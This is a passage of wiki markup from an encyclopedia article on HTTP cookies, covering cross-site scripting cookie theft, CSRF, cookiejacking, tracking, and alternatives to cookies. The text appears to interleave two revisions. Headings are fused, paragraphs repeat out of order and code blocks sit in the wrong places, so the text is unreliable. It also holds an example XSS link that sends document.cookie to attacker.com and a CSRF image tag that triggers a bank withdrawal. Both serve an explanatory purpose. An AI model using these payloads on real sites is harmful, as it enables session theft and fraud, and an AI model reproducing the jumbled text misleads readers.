=== [[Cross-site scripting]] – just do: itcookie theft===
{{Main|Cross-site scripting}}
If an attacker was able to insert a piece of script to a page on <code>www.example.com</code>, and a victim’s browser was able to execute the script, the script could simply do the attack. This attack would use victim’s browser to send HTTP requests to servers directly, therefore, victim’s browser would submit all relevant cookies, including ''HttpOnly'' cookies, as well as ''Secure'' cookies if the script request is on [[HTTPS]].
Cookies can also be stolen using a technique called cross-site scripting. This occurs when an attacker takes advantage of a website that allows its users to post unfiltered [[HTML]] and [[JavaScript]] content. By posting malicious HTML and JavaScript code, the attacker can cause the victim's web browser to send the victim's cookies to a website the attacker controls.
 
As an example, an attacker may post a message on <code>www.example.com</code> with the following link:
For example, on MySpace, Samy posted a short message “Samy is my hero” on his profile, with a hidden script to send Samy “friend request” and then post the same message on victim’s profile. A user reading Samy’s profile would send Samy “friend request” and post the same message on this person’s profile. Then, the third person reading second person’s profile would do the same. Pretty soon, this [[Samy worm]] became one of the fastest spreading viruses of all time.
 
<syntaxhighlight lang="html">
=== Cross-site scripting – proxy request ===
<a href="#" onclick="window.___location = 'http://attacker.com/stole.cgi?text=' + escape(document.cookie); return false;">Click here!</a>
In older version of browsers, there were security holes allowing attackers to script a proxy request by using [[XMLHttpRequest]]. For example, a victim is reading an attacker’s posting on <code>www.example.com</code>, and the attacker’s script is executed in victim’s browser, the script generates a request to <code>www.example.com</code> with proxy server <code>attacker.com</code>. Since the request is for <code>www.example.com</code>, all <code>example.com</code> cookies will be sent along with the request, but routed through attacker’s proxy server, hence, the attacker can harvest victim’s cookies.
</syntaxhighlight>
 
[[File:Cookie-theft.svg|thumb|Cross-site scripting: a cookie that should be only exchanged between a server and a client is sent to another party.]]
This attack would not work for ''Secure'' cookie, since ''Secure'' cookies go with [[HTTPS]] connections, and its protocol dictates end-to-end encryption, i.e., the information is encrypted on user’s browser and decrypted on the destination server <code>www.example.com</code>, so the proxy servers would only see encrypted bits and bytes.
 
When another user clicks on this link, the browser executes the piece of code within the <code>onclick</code> attribute, thus replacing the string <code>document.cookie</code> with the list of cookies that are accessible from the current page. As a result, this list of cookies is sent to the <code>attacker.com</code> server. If the attacker's malicious posting is on an HTTPS website <code><nowiki>https://www.example.com</nowiki></code>, secure cookies will also be sent to attacker.com in plain text.
=== Cross-site Request Forgery ===
{{main|Cross-site Request Forgery}}
 
It is the responsibility of the website developers to filter out such malicious code.
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
 
Such attacks can be mitigated by using HttpOnly cookies. These cookies will not be accessible by client-side scripting languages like JavaScript, and therefore, the attacker will not be able to gather these cookies.
: <code><nowiki><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></nowiki></code>
 
===Cross-site scripting: proxy request===
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
In older versions of many browsers, there were security holes in the implementation of the [[XMLHttpRequest]] API. This API allows pages to specify a proxy server that would get the reply, and this proxy server is not subject to the [[same-origin policy]]. For example, a victim is reading an attacker's posting on <code>www.example.com</code>, and the attacker's script is executed in the victim's browser. The script generates a request to <code>www.example.com</code> with the proxy server <code>attacker.com</code>. Since the request is for <code>www.example.com</code>, all <code>example.com</code> cookies will be sent along with the request, but routed through the attacker's proxy server. Hence, the attacker would be able to harvest the victim's cookies.
 
This attack would not work with secure cookies, since they can only be transmitted over [[HTTPS]] connections, and the HTTPS protocol dictates [[end-to-end encryption]] (i.e. the information is encrypted on the user's browser and decrypted on the destination server). In this case, the proxy server would only see the raw, encrypted bytes of the HTTP request.
 
===Cross-site request forgery===
== Drawbacks of cookies ==
{{Main|Cross-site request forgery}}
For example, Bob might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references an action on Bob's bank's website (rather than an image file), e.g.,
 
<syntaxhighlight lang="xml"><img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory"></syntaxhighlight>
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer
([[Representational State Transfer|REST]]) software architectural style.<ref>{{cite news
| url=http://roy.gbiv.com/pubs/dissertation/evaluation.htm
| title=Fielding Dissertation: CHAPTER 6: Experience and Evaluation
| author=Roy Fielding
| date=2000
| accessdate=2010-10-14 }}
</ref><ref>{{cite web|first=Stefan |last=Tilkov |url=http://www.infoq.com/articles/rest-anti-patterns |title=REST Anti-Patterns |publisher=InfoQ |date=July 2, 2008 |accessdate=2009-01-04}}</ref>
 
If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.
=== Inaccurate identification ===
 
===Cookiejacking===
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence cookies do not identify a person, but a combination of a user account, a computer, and a Web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.
'''Cookiejacking''' is an attack against [[Internet Explorer]] which allows the attacker to steal [[session cookie]]s of a user by tricking a user into dragging an object across the screen.<ref name="finkle">{{cite web|last=Finkle|first=Jim|date=2011-05-25|title=Microsoft latest security risk: 'Cookiejacking'|url=https://www.reuters.com/article/microsoft-security-idUSN2517397120110525|url-status=live|archive-url=https://web.archive.org/web/20110530020518/http://www.reuters.com/article/2011/05/25/microsoft-security-idUSN2517397120110525|archive-date=30 May 2011|access-date=26 May 2011|work=Reuters}}</ref> Microsoft deemed the flaw low-risk because of "the level of required user interaction",<ref name="finkle" /> and the necessity of having a user already logged into the website whose cookie is stolen.<ref name="whitney">{{cite web|url=http://news.cnet.com/8301-1009_3-20066419-83.html|title=Security researcher finds 'cookiejacking' risk in IE|last=Whitney|first=Lance|date=2011-05-26|work=CNET|url-status=dead|archive-url=https://web.archive.org/web/20110614022902/http://news.cnet.com/8301-1009_3-20066419-83.html|archive-date=14 June 2011|access-date=6 Sep 2019}}</ref> Despite this, a researcher tried the attack on 150 of their Facebook friends and obtained cookies of 80 of them via [[social engineering (security)|social engineering]].<ref name="finkle" />
 
==Drawbacks of cookies==
Likewise, cookies do not differentiate between multiple users who share the same [[user account]], computer, and browser.
Besides privacy concerns, cookies also have some technical drawbacks. In particular, they do not always accurately identify users, they can be used for security attacks, and they are often at odds with the Representational State Transfer ([[Representational State Transfer|REST]]) software architectural style.<ref name="tBPhf">{{cite news |url=http://roy.gbiv.com/pubs/dissertation/evaluation.htm |title=Fielding Dissertation: CHAPTER 6: Experience and Evaluation |first=Roy |last=Fielding |year=2000 |access-date=2010-10-14 |archive-url=https://web.archive.org/web/20110427074406/http://roy.gbiv.com/pubs/dissertation/evaluation.htm |archive-date=2011-04-27 |url-status=live}}</ref><ref name="gdVMy">{{cite web |first=Stefan |last=Tilkov |url=http://www.infoq.com/articles/rest-anti-patterns |title=REST Anti-Patterns |publisher=InfoQ |date=July 2, 2008 |access-date=2009-01-04 |archive-url=https://web.archive.org/web/20081223151145/http://www.infoq.com/articles/rest-anti-patterns |archive-date=December 23, 2008 |url-status=live}}</ref>
 
===Inaccurate identification===
If more than one browser is used on a computer, each usually has a separate storage area for cookies. Hence, cookies do not identify a person, but a combination of a user account, a computer, and a web browser. Thus, anyone who uses multiple accounts, computers, or browsers has multiple sets of cookies.<ref name="sD3KB">{{Cite web|last=Hoffman|first=Chris|title=What Is a Browser Cookie?|url=https://www.howtogeek.com/119458/htg-explains-whats-a-browser-cookie/|access-date=2021-04-03|website=How-To Geek|date=28 September 2016 |language=en-US}}</ref>
 
Likewise, cookies do not differentiate between multiple users who share the same [[user account]], computer, and browser.
=== Inconsistent state on client and server ===
 
The use of cookies may generate an inconsistency between the state of the client and the state as stored in the cookie. If the user acquires a cookie and then clicks the "Back" button of the browser, the state on the browser is generally not the same as before that acquisition. As an example, if the shopping cart of an online shop is built using cookies, the content of the cart may not change when the user goes back in the browser's history: if the user presses a button to add an item in the shopping cart and then clicks on the "Back" button, the item remains in the shopping cart. This might not be the intention of the user, who possibly wanted to undo the addition of the item. This can lead to unreliability, confusion, and bugs. Web developers should therefore be aware of this issue and implement measures to handle such situations as this.
 
== Alternatives to cookies ==
 
==Alternatives to cookies==
Some of the operations that can be done using cookies can also be done using other mechanisms.
 
===Authentication IPand addresssession management===
====JSON Web Tokens====
A [[JSON Web Token]] (JWT) is a self-contained packet of information that can be used to store user identity and authenticity information. This allows them to be used in place of session cookies. Unlike cookies, which are automatically attached to each HTTP request by the browser, JWTs must be explicitly attached to each HTTP request by the web application.
 
====HTTP authentication====
Users may be tracked based on the [[IP address]] of the computer requesting the page. This technique has been available since the introduction of the World Wide Web, as downloading pages requires the server to know the IP address of the computer running the browser or the [[Proxy server|proxy]], if any is used. The server can track this information whether or not cookies are used. However, these addresses are typically less reliable in identifying a user than cookies because computers and proxies may be shared by several users, and the same computer may be assigned different IP addresses in different work sessions (as is often the case for [[dial-up]] connections).
The HTTP protocol includes the [[basic access authentication]] and the [[digest access authentication]] protocols, which allow access to a web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent page request. This information can be used to track the user.
 
====URL (query string)====
Tracking by IP addresses can be reliable in some situations, such as the case of always-on broadband connections which retain the same IP address for long periods of time, so long as the power stays on.
The [[query string]] part of the [[Uniform Resource Locator|URL]] is the part that is typically used for this purpose, but other parts can be used as well. The [[Java Servlet]] and [[PHP]] session mechanisms both use this method if cookies are not enabled.
 
This method consists of the web server appending query strings containing a unique session identifier to all the links inside of a web page. When the user follows a link, the browser sends the query string to the server, allowing the server to identify the user and maintain state.
Some systems such as [[Tor (anonymity network)|Tor]] are designed to retain [[Internet anonymity]] and make tracking by IP address impractical or impossible.
 
These kinds of query strings are very similar to cookies in that both contain arbitrary pieces of information chosen by the server and both are sent back to the server on every request. However, there are some differences. Since a query string is part of a URL, if that URL is later reused, the same attached piece of information will be sent to the server, which could lead to confusion. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by [[e-mail]], those preferences will be used for that other user as well.
IP addresses are in certain jurisdictions treated as [[Personally identifiable information]] and as such subject to use under legal restrictions.
 
Moreover, if the same user accesses the same page multiple times from different sources, there is no guarantee that the same query string will be used each time. For example, if a user visits a page by coming from a page ''internal to the site'' the first time, and then visits the same page by coming from an ''external [[search engine]]'' the second time, the query strings would likely be different. If cookies were used in this situation, the cookies would be the same.
=== URL (query string) ===
 
Other drawbacks of query strings are related to security. Storing data that identifies a session in a query string enables [[session fixation]] attacks, [[HTTP referer|referer]] logging attacks and other [[Exploit (computer security)|security exploits]]. Transferring session identifiers as HTTP cookies is more secure.
A more precise technique is based on embedding information into URLs. The [[query string]] part of the [[Uniform Resource Locator|URL]] is the one that is typically used for this purpose, but other parts can be used as well. The [[Java Servlet]] and [[PHP]] session mechanisms both use this method if cookies are not enabled.
 
====Hidden form fields====
This method consists of the Web server appending query strings to the links of a Web page it holds when sending it to a browser. When the user follows a link, the browser returns the attached query string to the server.
Another form of session tracking is to use [[form (web)|web forms]] with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks. In fact, if the form is handled with the [[HTTP]] GET method, then this technique is similar to using URL query strings, since the GET method adds the form fields to the URL as a query string. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be sent in the HTTP request body, which is neither part of the URL, nor of a cookie.
 
This approach presents two advantages from the point of view of the tracker. First, having the tracking information placed in the HTTP request body rather than in the URL means it will not be noticed by the average user. Second, the session information is not copied when the user copies the URL (to bookmark the page or send it via email, for example).
Query strings used in this way and cookies are very similar, both being arbitrary pieces of information chosen by the server and sent back by the browser. However, there are some differences: since a query string is part of a URL, if that URL is later reused, the same attached piece of information is sent to the server. For example, if the preferences of a user are encoded in the query string of a URL and the user sends this URL to another user by [[e-mail]], those preferences will be used for that other user as well.
 
====window.name DOM property====
Moreover, even if the same user accesses the same page two times, there is no guarantee that the same query string is used in both views. For example, if the same user arrives to the same page but coming from a page internal to the site the first time and from an external [[search engine]] the second time, the relative query strings are typically different while the cookies would be the same. For more details, see [[query string]].
All current web browsers can store a fairly large amount of data (2–32&nbsp;MB) via JavaScript using the [[Document Object Model|DOM]] property <code>window.name</code>. This data can be used instead of session cookies. The technique can be coupled with [[JSON]]/JavaScript objects to store complex sets of session variables on the client side.
 
The downside is that every separate window or [[Tabbed document interface|tab]] will initially have an empty <code>window.name</code> property when opened.
Other drawbacks of query strings are related to security: storing data that identifies a session in a query string enables or simplifies [[session fixation]] attacks, [[HTTP referrer|referrer]] logging attacks and other [[Exploit (computer security)|security exploits]]. Transferring session identifiers as HTTP cookies is more secure.
 
In some respects, this can be more secure than cookies due to the fact that its contents are not automatically sent to the server on every request like cookies are, so it is not vulnerable to network cookie sniffing attacks.
=== Hidden form fields ===
 
===Tracking===
A form of session tracking, used by [[ASP.NET]], is to use [[Form (web)|web forms]] with hidden fields. This technique is very similar to using URL query strings to hold the information and has many of the same advantages and drawbacks; and if the form is handled with the [[HTTP]] GET method, the fields actually become part of the URL the browser will send upon form submission. But most forms are handled with HTTP POST, which causes the form information, including the hidden fields, to be appended as extra input that is neither part of the URL, nor of a cookie.
====IP address====
Some users may be tracked based on the [[IP address]] of the computer requesting the page. The server knows the IP address of the computer running the browser (or the [[Proxy server|proxy]], if any is used) and could theoretically link a user's session to this IP address.
 
However, IP addresses are generally not a reliable way to track a session or identify a user. Many computers designed to be used by a single user, such as office PCs or home PCs, are behind a network address translator (NAT). This means that several PCs will share a public IP address. Furthermore, some systems, such as [[Tor (anonymity network)|Tor]], are designed to retain [[Internet anonymity]], rendering tracking by IP address impractical, impossible, or a security risk.
This approach presents two advantages from the point of view of the tracker: first, having the tracking information placed in the HTML source and POST input rather than in the URL means it will not be noticed by the average user; second, the session information is not copied when the user copies the URL (to save the page on disk or send it via email, for example).
 
=== window.name =ETag====
{{Main|HTTP ETag#Tracking using ETags}}
Because ETags are cached by the browser, and returned with subsequent requests for the same resource, a tracking server can simply repeat any ETag received from the browser to ensure an assigned ETag persists indefinitely (in a similar way to persistent cookies). Additional caching header fields can also enhance the preservation of ETag data.
 
ETags can be flushed in some browsers by clearing the [[browser cache]].
All current web browsers can store a fairly large amount of data (2-32 MB) via JavaScript using the [[DOM]] property window.name. This data can be used instead of session cookies and is also cross-___domain. The technique can be coupled with [[JSON]]/JavaScript objects to store complex sets of session variables<ref>{{cite web|url=http://www.thomasfrank.se/sessionvars.html |title=ThomasFrank.se |publisher=ThomasFrank.se |date= |accessdate=2010-05-22}}</ref> on the client side.
 
====Browser cache====
The downside is that every separate window or [[Tabbed document interface|tab]] will initially have an empty ''window.name''; in times of [[Tabbed document interface|tabbed browsing]] this means that individually opened tabs ''(initiation by user)'' will not have a window name. Furthermore ''window.name'' can be used for tracking visitors across different web sites, making it of concern for [[Internet privacy]].
{{Main|Web cache}}
The browser cache can also be used to store information that can be used to track individual users. This technique takes advantage of the fact that the web browser will use resources stored within the cache instead of downloading them from the website when it determines that the cache already has the most up-to-date version of the resource.
 
For example, a website could serve a JavaScript file with code that sets a unique identifier for the user (for example, <code>var userId = 3243242;</code>). After the user's initial visit, every time the user accesses the page, this file will be loaded from the cache instead of downloaded from the server. Thus, its content will never change.
In some respects this can be more secure than cookies due to not involving the server, so it is not vulnerable to ''network'' cookie sniffing attacks. However if special measures are not taken to protect the data, it is vulnerable to other attacks because the data is available across different web sites opened in the same window or tab.
 
====Browser fingerprint====
=== HTTP authentication ===
{{Main|Device fingerprint}}
A [[browser fingerprint]] is information collected about a browser's configuration, such as version number, screen resolution, and operating system, for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
 
Basic [[web browser]] configuration information has long been collected by [[web analytics]] services in an effort to accurately measure real human [[web traffic]] and discount various forms of [[click fraud]]. With the assistance of [[client-side scripting]] languages, collection of much more esoteric parameters is possible.<ref name="7MnkN">{{cite web |url=http://gemal.dk/browserspy/ |title=BrowserSpy |publisher=gemal.dk |access-date=2010-01-28 |archive-url=https://web.archive.org/web/20080926162150/http://gemal.dk/browserspy/ |archive-date=2008-09-26 |url-status=live}}</ref><ref name="H8nQP">{{cite web |url=http://mypage.direct.ca/s/schinke/defaultbehaviors/clientCapsExtra.html |title=IE "default behaviors [sic&#93;" browser information disclosure tests: clientCaps |publisher=Mypage.direct.ca |access-date=2010-01-28 |archive-url=https://web.archive.org/web/20110605104414/http://mypage.direct.ca/s/schinke/defaultbehaviors/clientCapsExtra.html |archive-date=2011-06-05 |url-status=live}}</ref> Assimilation of such information into a single string constitutes a device fingerprint. In 2010, [[Electronic Frontier Foundation|EFF]] measured at least 18.1 bits of [[Entropy (information theory)|entropy]] possible from browser fingerprinting.<ref name="Ar32G">{{cite web|url=https://panopticlick.eff.org/browser-uniqueness.pdf |title=How Unique Is Your Web Browser? |last1=Eckersley |first1=Peter |date=17 May 2010 |website=eff.org |publisher=Electronic Frontier Foundation |access-date=23 July 2014 |url-status=dead |archive-url=https://web.archive.org/web/20141015220910/https://panopticlick.eff.org/browser-uniqueness.pdf |archive-date=15 October 2014}}</ref> [[Canvas fingerprinting]], a more recent technique, claims to add another 5.7 bits.
The HTTP protocol includes the [[basic access authentication]] and the [[digest access authentication]] protocols, which allow access to a Web page only when the user has provided the correct username and password. If the server requires such credentials for granting access to a web page, the browser requests them from the user and, once obtained, the browser stores and sends them in every subsequent pages request. This information can be used to track the user.
 
===Web storage===
=== Adobe Flash Local Shared Objects ===
{{Main|Web storage}}
Some web browsers support persistence mechanisms which allow the page to store the information locally for later use.
 
The [[HTML5]] standard (which most modern web browsers support to some extent) includes a JavaScript API called [[Web storage]] that allows two types of storage: local storage and session storage. Local storage behaves similarly to [[#Persistent cookie|persistent cookies]] while session storage behaves similarly to [[#Session cookie|session cookies]], except that session storage is tied to an individual tab/window's lifetime (AKA a page session), not to a whole browser session like session cookies.<ref name="7Tuzm">{{cite web|title = Window.sessionStorage, Web APIs {{!}} MDN|url = https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage|website = developer.mozilla.org|access-date = 2 October 2015|archive-url = https://web.archive.org/web/20150928223602/https://developer.mozilla.org/en-US/docs/Web/API/Window/sessionStorage|archive-date = 28 September 2015|url-status = live}}</ref>
If a browser includes the [[Adobe Flash|Adobe Flash Player]] [[plugin]] (formerly developed by [[Macromedia]]), the [[Local Shared Object]]s (“flash cookies”) functionality can be used in a way very similar to cookies. Local Shared Objects may be an attractive choice to web developers because a majority of [[Microsoft Windows|Windows]] users have Flash Player installed, the default size limit is 100 kB, and the security controls are distinct from the user controls for cookies, so Local Stored Objects may be enabled when cookies are not.
 
Internet Explorer supports persistent information<ref name="dttaK">{{cite web|url=http://msdn.microsoft.com/en-us/library/ms533007%28v=vs.85%29.aspx|title=Introduction to Persistence|publisher=Microsoft|work=microsoft.com|access-date=2014-10-09|archive-url=https://web.archive.org/web/20150111024715/http://msdn.microsoft.com/en-us/library/ms533007(v=vs.85).aspx|archive-date=2015-01-11|url-status=live}}</ref> in the browser's history, in the browser's favorites, in an XML store ("user data"), or directly within a web page saved to disk.
In some cases, web sites have created Flash LSOs that behave differently than what a user specifies for his http cookies, which has raised concern that web sites need to specify a consistent privacy policy across different types of cookies.<ref>{{cite web|url=http://papers.ssrn.com/sol3/papers.cfm?abstract_id=1446862 |title=SSRN.com |publisher=Papers.ssrn.com |date= |accessdate=2010-05-22}}</ref>
 
Some web browser plugins include persistence mechanisms as well. For example, [[Adobe Flash]] has [[Local shared object]] and [[Microsoft Silverlight]] has Isolated storage.<ref name="7LUgp">{{cite web|url=http://msdn.microsoft.com/en-us/library/bdts8hk0%28v=vs.95%29.aspx|title=Isolated Storage|website=Microsoft.com|access-date=2014-10-09|archive-url=https://web.archive.org/web/20141216133258/http://msdn.microsoft.com/en-us/library/bdts8hk0(v=vs.95).aspx|archive-date=2014-12-16|url-status=live}}</ref>
The major drawback with this approach is the same as every platform/vendor-specific approach: it breaks the web's global [[Web accessibility|accessibility]] and [[Web Interoperability|interoperability]], tying up web development to a specific client's platform, excluding users who use [[Web standards|standards-compliant]] web [[user agent]]s and instead forcing them to use platform/vendor-specific web agents, which perpetuates [[vendor lock-in]].
 
==See also==
HTML5 that has many of the same functionalities as Flash and that is gradually being implemented on the web fixes some of the long-standing problems with the Flash platform by making many aspects of Flash functionality available via standard web interfaces.
{{portal|Internet|Computer programming}}
* [[Session (computer science)]]
* [[Secure cookie]]
* [[HTTP Strict Transport Security#Privacy issues|HTTP Strict Transport Security § Privacy issues]]
 
==References==
=== Client-side persistence ===
{{reflist}}
<!-- Dead note "rfc2": RFC 2109 and RFC 2965, HTTP State Management Mechanism ([[Internet Engineering Task Force|IETF]]) -->
 
===Sources===
Some web browsers support a script-based persistence mechanism that allows the page to store information locally for later retrieval. Internet Explorer, for example, supports persisting information in the browser's history, in favorites, in an XML store, or directly within a Web page saved to disk.<ref>[http://msdn.microsoft.com/en-us/library/ms531066(VS.85).aspx Introduction to Persistence], [[MSDN]]</ref> With [[HTML 5]] there will be a [[DOM storage|DOM Storage (localStorage)]] method, currently supported by only some browsers. For [[Internet Explorer]] 5+ there is a userdata method<ref>{{cite web|url=http://msdn.microsoft.com/en-us/library/ms531424.aspx |title=Microsoft.com |publisher=Msdn.microsoft.com |date= |accessdate=2010-05-22}}</ref> available through ''DHTML Behaviours''.
* Anonymous, 2011. Cookiejacking Attack Steals Website Access Credentials. Informationweek - Online, pp.&nbsp;Informationweek - Online, May 26, 2011.
 
==External links==
A different mechanism relies on browsers normally caching (holding in memory instead of reloading) JavaScript programs used in web pages. As an example, a page may contain a link such as <code><nowiki><script type="text/javascript" src="example.js"></nowiki></code>. The first time this page is loaded, the program <code>example.js</code> is loaded as well. At this point, the program remains cached and is not reloaded the second time the page is visited. As a result, if this program contains a statement such as <code>id=3243242</code> (global variable), this identifier remains valid and can be exploited by other JavaScript code the next times the page is loaded, or another page linking the same program is loaded.<!--comment out page not found link<ref>Mukund Sivaraman, [http://www.mukund.org/blog/2006/09/11/clearing-cookies-is-not-enough-to-save-your-privacy/ Clearing cookies is not enough to save your privacy] September 11, 2006</ref>-->{{Citation needed|date=March 2009}} The major drawback of this method is that the global JavaScript variable must be static, meaning that it cannot be changed or deleted persistently like a cookie.
{{Spoken Wikipedia|HTTP cookie.ogg|date=2016-05-28}}
{{Commons category|HTTP cookies}}
* {{IETF RFC|6265|link=no}}, the current official specification for HTTP cookies
* [https://developer.mozilla.org/en-US/docs/Web_Development/HTTP_cookies HTTP cookies], Mozilla Developer Network
* [https://developer.mozilla.org/en-US/docs/DOM/document.cookie Using cookies via ECMAScript], Mozilla Developer Network
* {{HowStuffWorks|cookie|How Internet Cookies Work}}
* [https://www.epic.org/privacy/internet/cookies/ Cookies] at the Electronic Privacy Information Center (EPIC)
* [https://support.mozilla.org/en-US/kb/cookies-information-websites-store-on-your-computer Mozilla Knowledge-Base: Cookies]
* [http://bayou.io/draft/cookie.___domain.html Cookie Domain, explain in detail how cookie domains are handled in current major browsers]
* [https://www.youtube.com/watch?v=T1QEs3mdJoc Cookie Stealing] - [[Michael Pound]]
* [https://2gdpr.com/ Check cookies for compliance with EU cookie directive]
 
{{Web browsers|fsp}}
== See also ==
* [[Dynamic HTML]]
* [[Local Shared Object]] - Flash Cookies
* [[Session Beans]]
* [[Session (computer science)]]
* [[Session ID]]
* [[Http session|Web server session management]]
* [[Web Storage|Web Storage and DOM Storage]]
* [[Web visitor tracking]]
* [[Zombie cookie]]
* [[Evercookie]]
 
{{Authority control}}
== References ==
{{reflist|2}}
<!-- Dead note "rfc2": RFC 2109 and RFC 2965 - HTTP State Management Mechanism ([[Internet Engineering Task Force|IETF]]) -->
 
[[Category:Computer access control]]
{{FOLDOC}}
[[Category:Hypertext Transfer Protocol headers|Cookie]]
 
== External links ==
{{Spoken Wikipedia|HTTP_cookie.ogg|2010-09-26}}
* {{HSW|cookie|How Internet Cookies Work}}
* [http://www.microsoft.com/info/cookies.mspx Information About Cookies] from [[Microsoft]]
* [http://epic.org/privacy/internet/cookies/ Cookies] at the Electronic Privacy Information Center (EPIC)
* [http://cpe.njit.edu/dlnotes/CIS/CIS350/TakingTheByteOutOfCookies.pdf Taking the Byte Out of Cookies: Privacy, Consent, and the Web] (PDF)
* [http://archive.cabinetoffice.gov.uk/e-government/resources/handbook/html/4-7.asp Web handbook - Cookies] from Delivery And Transformation Group, Cabinet Office, UK
* [http://www.comscore.com/press/release.asp?press=1389 Cookie-Based Counting Overstates Size of Web Site Audiences] at ComScore
* [http://www.pbs.org/mediashift/2007/11/dont_tread_on_our_cookiesthe_w.html Don’t Tread on Our Cookies - The Web Privacy Manifesto] at PBS
* [http://support.mozilla.com/en-US/kb/Cookies Mozilla Knowledgebase: Cookies]
 
{{DEFAULTSORT:Http Cookie}}
[[Category:HTTP headers]]
[[Category:Authentication methods]]
[[Category:Internet privacy]]
[[Category:Hacking (computer security)]]
 
[[Category:Tracking]]
{{Link FA|ro}}
[[af:Koekie (rekenaarwetenskap)]]
[[als:Cookie]]
[[ar:سجل المتصفح]]
[[ba:Cookie]]
[[bg:HTTP-бисквитка]]
[[ca:Galeta (informàtica)]]
[[cs:HTTP cookie]]
[[da:Cookie]]
[[de:HTTP-Cookie]]
[[et:HTTP küpsis]]
[[el:HTTP cookies]]
[[es:Cookie]]
[[eo:Kuketo]]
[[eu:Cookie]]
[[fa:کوکی اچ‌تی‌تی‌پی]]
[[fr:Cookie (informatique)]]
[[ko:HTTP 쿠키]]
[[id:HTTP cookie]]
[[is:Kaka (tölvunarfræði)]]
[[it:Cookie]]
[[he:עוגייה (אינטרנט)]]
[[sw:Kuki]]
[[lv:Sīkdatne]]
[[li:Cookie]]
[[hu:HTTP-süti]]
[[mr:स्मृतीशेष]]
[[nl:Cookie (internet)]]
[[nds-nl:Koekien (internet)]]
[[ja:HTTP cookie]]
[[no:Informasjonskapsel]]
[[pl:Ciasteczko]]
[[pt:Cookie]]
[[ro:Cookie]]
[[ru:HTTP cookie]]
[[simple:HTTP cookie]]
[[fi:Eväste]]
[[sv:Cookie]]
[[th:เอชทีทีพีคุกกี้]]
[[tr:Çerez]]
[[uk:Куки]]
[[vi:Cookie]]
[[yi:קוקי]]
[[zh-yue:HTTP曲奇]]
[[zh:Cookie]]